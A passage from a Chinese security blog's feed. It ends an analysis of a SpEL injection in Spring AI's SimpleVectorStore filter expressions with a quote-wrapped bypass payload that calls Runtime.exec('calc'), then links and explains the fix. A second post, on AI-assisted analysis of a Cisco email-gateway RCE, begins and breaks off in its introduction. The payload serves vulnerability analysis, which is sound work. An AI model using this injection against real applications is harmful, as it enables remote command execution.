rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">    //         new Filter.Value(&#34;anything&#34;)</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf=""><br/></span><span leaf="">    // );</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(255, 123, 114);"><span leaf="">    SearchRequest</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> searchRequest</span></span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(121, 192, 255);"><span leaf=""> =</span></span><span leaf=""> SearchRequest.builder()</span><span leaf=""><br/></span><span leaf="">            .query(sr.getQuery())</span><span leaf=""><br/></span><span leaf="">            .topK(sr.getTopK())</span><span leaf=""><br/></span><span leaf="">            .similarityThreshold(sr.getSimilarityThreshold())</span><span leaf=""><br/></span><span leaf="">            .filterExpression(sr.getFilterExpression())</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(139, 148, 158);"><span leaf="">  //字符串实例化</span></span><span leaf=""><br/></span><span leaf="">            .build();</span><span leaf=""><br/></span><span leaf="">    List&lt;Document&gt; similarDocuments = vectorStore.similaritySearch(searchRequest);</span></code></pre><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">常规的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> 利用方式不符合语法规范会被拦截。可以在最外层包裹双引号将 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> 改造成合法的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Key</span></code><span leaf=""> 。</span></p><ul style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px 0px 0px 1.5em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);list-style: none;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">FilterExpressionTextParser</span></code><span leaf=""> 将双引号内的字符串作为 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Key</span></code><span leaf=""> ，符合语法校验；</span></p></li><li style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: block;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SimpleVectorStore</span></code><span leaf=""> 处理 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AST</span></code><span leaf=""> 时，会直接取出引号内的内容进行拼接。</span></p></li></ul><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">绕过检查的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">payload</span></code><span leaf=""> 如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 10px 8px;padding: 0px !important;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);overflow-x: auto;border-radius: 8px;line-height: 1.5;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 10px 14px 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);display: flex;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0.5em 1em 1em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;border-radius: 4px;display: -webkit-box;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;"><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf="">&#34;&#39;] + T(java.lang.Runtime).getRuntime().exec(&#39;calc&#39;) + <a class="wx_topic_link" topic-id="mnljebae-547uad" style="color: #576B95 !important;" data-topic="1" data-recommend="">#metadata</a>[&#39;&#34;</span></span><span leaf=""> ==</span><span style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(165, 214, 255);"><span leaf=""> &#39;anything&#39;</span></span></code></pre><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36203703703703705" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;border-radius: 8px;height: auto !important;" data-imgfileid="100009108" src="https://wechat2rss.xlab.app/img-proxy/?k=561ed6c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLlRDuH2KdFibnqGbbGqsPaOLnfA5t2nnPPIrU04q3PdZXeWhH2RtXdeTWskw7OMIlT7h0ZszB0O8Hodu4Om44mtiaxaYVL0vRjia8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">修复方式</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">commit</span></code><span leaf=""> 记录：</span></p><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf=""><a href="https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29" target="_blank">https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29</a></span></p><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">没有采用常见的修复方式：将 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">StandardEvaluationContext</span></code><span leaf=""> 换成 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SimpleEvaluationContext</span></code><span leaf=""> ，而是彻底移除 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> ，改用自定义 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AST</span></code><span leaf=""> 遍历器直接求值。</span></p></div><div><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 1.5em 8px;padding: 0px;outline: oklab(0.144521 0.00000657141 0.00000288337 / 0.5) 0px;max-width: 96rem;box-sizing: border-box;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 1536px;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;border: 0px solid rgb(229, 229, 229);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: oklab(0.144521 0.00000657141 0.00000288337 / 0.5) 0px;max-width: 96rem;box-sizing: border-box;overflow-wrap: break-word !important;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span textstyle="" style="font-size: 14px;">欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。</span></span></p><p style="text-align: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1894353369763206" data-s="300,640" data-type="png" data-w="549" style="width: 361px;height: 429px;" type="block" data-imgfileid="100009109" src="https://wechat2rss.xlab.app/img-proxy/?k=835c2b86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLmDj6pYWrsyuYpJy3vicG72UDEt4oYmDk617uVicIOpaNF2jZrnhlvd6RW8eaUD4BFMFQgM0NBj5iajWUHU7EW8UpdHVz5icT4asCQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=64fd7a0b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492758%26idx%3D1%26sn%3Ded00cf04b239839ed1d0553fa0674579">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Apr 2026 07:02:00 +0800</pubDate>
    </item>
    <item>
      <title>如何利用 AI 分析 CVE-2025-20393 思科安全邮件网关 CVSS10 满分复杂匿名 RCE 漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492706&amp;idx=1&amp;sn=fdd3a02e537a160a014f2b3e2870d60e</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>KCyber</span> <span>2026-03-08 09:03</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9929bf2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F5micBBibMraLkmLnk3HoEJTalmqG509Zpt2mCCX5uTCxTSEBRYuticy9AdlsuraTa8hstYG023oiaHk2zKn3rbIruwzFLOUEeL8nKumvA9cdB4k%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><div style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);width: 1536px;max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin-top: 0px !important;margin-right: auto;margin-bottom: 2em;margin-left: auto;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">引言</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">现在 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 不仅能写代码，也越来越擅长发现漏洞。近期网上有不少利用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 批量挖漏洞的文章，但是漏洞光看数量是不够的，还要看质量。对于那些逻辑比较复杂的漏洞，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 的表现将会如何呢？结合近期披露的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2025-20393</span></code><span leaf=""> 来检验一下 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">AI</span></code><span leaf=""> 的分析能力。</span></p><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">该漏洞源于 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Cisco</span></code><span leaf=""> 安全邮件网关的垃圾邮件隔离功能中，对 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">HTTP</span></code><span leaf=""> 请求缺少验证，导致恶意攻击者可实现 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ROOT</span></code><span leaf=""> 权限的远程命令执行。利用 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Claude 4.6</span></code><span leaf=""> 和自己写的几个 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">mcp</span></code><span leaf=""> 来对该漏洞进行分析复现。整个过程比较复杂，并且很多时候都是 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span 